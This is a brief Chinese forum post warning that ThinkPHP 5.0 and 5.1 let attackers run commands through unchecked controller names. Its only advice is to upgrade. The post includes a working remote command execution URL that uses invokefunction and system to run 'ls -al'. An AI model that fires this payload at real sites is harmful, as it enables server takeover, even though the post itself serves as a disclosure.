框架的一个权限漏洞被发现,可以遍历网站目录权限

浏览:1886 发布日期:2018/12/12 分类:ThinkPHP5专区
http://www.xxxxx.com/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-al

由于框架对控制器名没有进行足够的检测,会导致在没有开启强制路由的情况下引发getshell漏洞。该漏洞影响5.0和5.1版本。

提升办法:升级到最高版本
最佳答案
评论( 相关
后面还有条评论,点击查看>>